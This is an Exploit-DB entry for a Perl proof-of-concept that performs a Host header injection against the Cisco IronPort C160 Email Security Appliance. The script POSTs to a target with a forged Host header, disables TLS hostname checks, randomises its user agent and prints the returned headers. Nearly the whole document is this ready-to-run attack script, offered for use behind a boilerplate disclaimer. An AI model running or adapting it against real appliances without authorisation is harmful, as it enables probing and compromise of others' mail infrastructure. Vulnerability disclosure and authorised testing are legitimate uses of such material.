Cisco Email Security Appliance (IronPort) C160 – ‘Host’ Header Injection

  • 作者: Todor Donev
    日期: 2019-09-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47329/
  • #!/usr/bin/perl -w
    #
    #
    #Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection
    #
    #
    #Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
    #
    #
    #Disclaimer:
    #This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
    #The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
    #caused by direct or indirect use of theinformation or functionality provided by these programs. 
    #The author or any Internet providerbears NO responsibility for content or misuse of these programs 
    #or any derivatives thereof. By using these programs you accept the factthat any damage (dataloss, 
    #system crash, system compromise, etc.) caused by the useof these programs are not Todor Donev's 
    #responsibility.
    # 
    #Use them at your own risk!
    #
    # 
    use strict;
    use HTTP::Request;
    use LWP::UserAgent;
    use WWW::UserAgent::Random;
    use HTTP::CookieJar::LWP;
    
    
    my $host = shift || 'https://192.168.1.1:443/';
    
    print ("[+] Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection\n");
    print ("===================================================================================\n");
    print ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n");
    print ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/);
    
    my $user_agent = rand_ua("browsers");
    my $jar = HTTP::CookieJar::LWP->new();
    my $browser= LWP::UserAgent->new(
    protocols_allowed => ['http', 'https'],
    ssl_opts => { verify_hostname => 0 }
    );
     $browser->timeout(10);
     $browser->cookie_jar($jar);
     $browser->agent($user_agent);
    
    my $request = HTTP::Request->new (POST => $host,
    [ Content_Type => "application/x-www-form-urlencoded" ,
    Referer => $host], " ");
    $request->header("Host" => "Header-Injection");
    my $content = $browser->request($request);
    print $content->headers_as_string();